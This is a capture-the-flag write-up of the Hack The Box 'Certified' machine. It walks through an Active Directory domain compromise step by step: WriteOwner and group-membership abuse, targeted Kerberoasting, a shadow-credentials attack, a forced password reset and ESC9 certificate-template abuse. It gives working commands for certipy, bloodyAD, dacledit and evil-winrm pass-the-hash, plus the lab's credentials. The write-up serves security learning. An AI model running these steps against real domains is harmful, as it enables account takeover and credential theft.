> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hackthebox/2025/certified.md).

# Certified

{% embed url="<https://app.hackthebox.com/machines/633>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Summary

We started with an Nmap scan revealing typical Active Directory services, then used the provided credentials for *judith.mader* to gather AD relationships with BloodHound. Judith had *WriteOwner* permissions on the Management group, allowing us to take ownership and grant *GenericWrite* over the *management\_svc* user. We successfully performed a shadow credential attack to retrieve the NT hash and gain a shell with *evil-winrm*. We escalated to the *ca\_operator* account using *GenericAll* permissions, changed the password, and exploited an ESC9 misconfiguration in the certificate template to obtain the Administrator hash and gain a shell as Administrator with *evil-winrm.*

## Recon

We start with a Nmap scan which  revealed multiple services typical of an Active Directory environment, including DNS (53), Kerberos (88), SMB (445), LDAP (389, 636), and Global Catalog (3268, 3269).&#x20;

```
nmap -p- certified.htb -Pn
```

<figure><img src="/files/JLnlDKMmrSgctygBykQO" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
nmap -p 53,88,135,139,389,445,593,636,3268,3269,49666,49677,49678,49681,49708,49731 -sC -sV certified.htb -T4 -Pn
```

{% endcode %}

<figure><img src="/files/MjvJuYHglwgIxCAWPC4h" alt=""><figcaption></figcaption></figure>

We have received additional credentials for the machine:

> As is common in real life Windows pentests, you will start the Certified box with credentials for the following account: judith.mader:judith09

We are using `bloodhound-python` to gather and map Active Directory relationships and permissions on the `certified.htb` domain, authenticating as `judith.mader` to identify privilege escalation paths.

{% code overflow="wrap" %}

```
bloodhound-python -d certified.htb -c All -u 'judith.mader' -p 'judith09' -ns 10.129.68.162 --dns-tcp
```

{% endcode %}

<figure><img src="/files/JG30RBCriv8TJJVeQVJa" alt=""><figcaption></figcaption></figure>

We see that `judith.mader` *WriteOwner* has permissions on the `Management` group.

*WriteOwner* Permissions:&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-ownership#grant-ownership>" %}

With that we can update the owner of the target object. Since we have credentials for `judith.mader` we could grant us ownership over the group `Management` and add the account to the group.&#x20;

We also see that the `Management` group has permissions on the *GenericWrite* user. This means that if we have control of the group, we can perform either a targeted Kerberoast attack or a shadow credential attack on the `management_svc` user granting us the hash of the user.

The user `management_svc`, on the other hand, has *CanPSRemote* permissions, which would allow us to access the machine with *evilwin-rm* if we compromised the user.

<figure><img src="/files/wUnMCwa1ehWM3xmjhqke" alt=""><figcaption></figcaption></figure>

## Shell As management\_svc

We implement the analysed attack path.

### WriteOwner Abuse

First we add `judith.mader` as owner to Management group.

{% code overflow="wrap" %}

```
owneredit.py -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
```

{% endcode %}

<figure><img src="/files/UJokMxfXehcF3eZ5CtMJ" alt=""><figcaption></figcaption></figure>

Since we now own the group, we can now give the user permission to add members via *dacledit*

{% code overflow="wrap" %}

```
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
```

{% endcode %}

<figure><img src="/files/SfXQo02WyakPlkIc6lLS" alt=""><figcaption></figcaption></figure>

After that we add `judith.mader` as member to the `Management` group.

{% code overflow="wrap" %}

```
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.68.162"
```

{% endcode %}

<figure><img src="/files/KF1AXneVHYZJSkR6Xy5n" alt=""><figcaption></figcaption></figure>

### GenericWrite Abuse

As the user is now part of the group, we can abuse the *GenericWrite* permission on the `management_svc` user, which the Management group has. First we will try a targeted Kerberoast attack. See below links for further reading:

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting>" %}

{% embed url="<https://github.com/ShutdownRepo/targetedKerberoast>" %}

We are able to get the Kerberos 5, etype 23, TGS-REP hash of the `management_svc` user. However, we cannot crack it.

{% code overflow="wrap" %}

```
./targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09' --request-user MANAGEMENT_SVC
```

{% endcode %}

<figure><img src="/files/TN7XfqMJzvEO84AINk4d" alt=""><figcaption></figcaption></figure>

Next, we try the shadow credential attack using *certipy*.

{% embed url="<https://github.com/ly4k/Certipy?tab=readme-ov-file#shadow-credentials>" %}

Further information on the shadow credential attack can be found under the following link:

{% embed url="<https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab>" %}

**But in short: If we can write to the msDS-KeyCredentialLink property of a user, we can retrieve the NT hash of that user.**

With the following command we issue the attack and are succesful. We retrieve the NT hash of `management_svc`.

{% code overflow="wrap" %}

```
certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -account 'MANAGEMENT_SVC' -dc-ip 10.129.68.162
```

{% endcode %}

<figure><img src="/files/ac0tVoxPrG6lGRRZV4Vc" alt=""><figcaption></figcaption></figure>

We use that hash to log in as `management_svc` via evil-winrm and find the flag at `C:\Users\management_svc\Desktop\user.txt`.

```
evil-winrm -i certified.htb -u management_svc -H 'REDACTED'
```

<figure><img src="/files/XDRvV0xD3o8ZhC1DMEbD" alt=""><figcaption></figcaption></figure>

## Shell as Administrator

Since the machine is called Certified, we have tested for vulnerabilities on certificate templates with each user we have access to using certipy. However, the user `management_svc` also does not have any templates that are vulnerable and can be used by the user.

{% code overflow="wrap" %}

```
certipy-ad find -u management_svc@certified.htb -hashes ':REDACTED' -dc-ip 10.129.68.162 -vulnerable
```

{% endcode %}

<figure><img src="/files/TqKqpnUagpBOvLFLnXnJ" alt=""><figcaption></figcaption></figure>

We look at our Bloodhound results again and see that we have *GenericAll* permissions over the user `CA_Operator` as `management_svc`.

<figure><img src="/files/SuEka9jf9xAm8Ir5Sz8g" alt=""><figcaption></figcaption></figure>

This allows us to change the user's password.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword>" %}

We use bloodyAD for this.

{% embed url="<https://github.com/CravateRouge/bloodyAD>" %}

We change the password.

{% code overflow="wrap" %}

```
./bloodyAD.py -d certified.htb -u management_svc -p ":REDACTED" --host 10.129.68.162 set password ca_operator 'newP@ssword2022'
```

{% endcode %}

<figure><img src="/files/exD6Bk2qmUQHRP4CoNZR" alt=""><figcaption></figcaption></figure>

Now we are able to query for vulnerable templates as `ca_operator`.

{% code overflow="wrap" %}

```
certipy-ad find -u ca_operator@certified.htb -p 'newP@ssword2022' -dc-ip 10.129.68.162 -vulnerable
```

{% endcode %}

<figure><img src="/files/sfdVFC4B6KaoxbMl9Hmi" alt=""><figcaption></figcaption></figure>

An we spot one:

```
┌──(0xb0b㉿kali)-[~/Documents/htb-app/certified/bloodyAD]
└─$ cat 20250315144904_Certipy.txt                                                                    
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
```

The `CertifiedAuthentication` template is vulnerable to `ESC9`.

```
[!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
```

For further reading on ESC9 we can follow the link below:

{% embed url="<https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7>" %}

> ESC9 refers to the new `msPKI-Enrollment-Flag` value `CT_FLAG_NO_SECURITY_EXTENSION` (`0x80000`). If this flag is set on a certificate template, the new `szOID_NTDS_CA_SECURITY_EXT` security extension will **not** be embedded. ESC9 is only useful when `StrongCertificateBindingEnforcement` is set to `1` (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.

> To abuse this misconfiguration, the attacker needs `GenericWrite` over any account A that is allowed to enroll in the certificate template to compromise account B (target).

> ### ESC9 <a href="#d1c2" id="d1c2"></a>
>
> Conditions:
>
> * `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
> * Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
> * Certificate specifies any client authentication EKU
>
> Requisites:
>
> * `GenericWrite` over any account A to compromise any account B

### ESC9

We follow the example of <https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7> and update account `management_svc` with upn pointing to `Administrator`.

{% code overflow="wrap" %}

```
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn Administrator
```

{% endcode %}

<figure><img src="/files/3UoxViDlgPzQGNSZB7sH" alt=""><figcaption></figcaption></figure>

Then we request vulnerable template, but receive an error. This might be cause by the password, since with a different it worked.&#x20;

<figure><img src="/files/h0jJqejPQcJnBFGCP02a" alt=""><figcaption></figcaption></figure>

We change the password for `ca_operator`  again.

{% code overflow="wrap" %}

```
python bloodyAD.py --host "certified.htb" -d certified.htb -u management_svc -p :REDACTED set password ca_operator 'Password123@'
```

{% endcode %}

Below are the steps to abuse ESC9:

We change the `userPrincipalName` of `ca_operator` to be `Administrator`.&#x20;

{% code overflow="wrap" %}

```
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn Administrator
```

{% endcode %}

We request the vulnerable certificate template `CertifiedAuthentication` (`ESC9`)`.`

{% code overflow="wrap" %}

```
certipy-ad req -username ca_operator@certified.htb -p 'Password123@' -ca certified-DC01-CA -template CertifiedAuthentication
```

{% endcode %}

Then, we change back the `userPrincipalName` of `ca_operator` back to `ca_operator`.

{% code overflow="wrap" %}

```
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn ca_operator@certified.htb
```

{% endcode %}

Now, if we try to authenticate with the certificate, we will receive the NT hash of the `Administrator@certified.htb` user. We need to add `-domain certified.htb` to our command since there is no domain specified in the certificate. We receive the Administrators hash.

```
certipy-ad auth -pfx administrator.pfx -domain certified.htb
```

<figure><img src="/files/hoMruqaj7wL11VSXG5Cs" alt=""><figcaption></figcaption></figure>

We use the Administrators NT hash to log in via *evil-winrm* and find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

```
evil-winrm -i certified.htb -u Administrator -H 'REDACTED'
```

<figure><img src="/files/OhWACwlHnZ6nHDnCswiF" alt=""><figcaption></figcaption></figure>
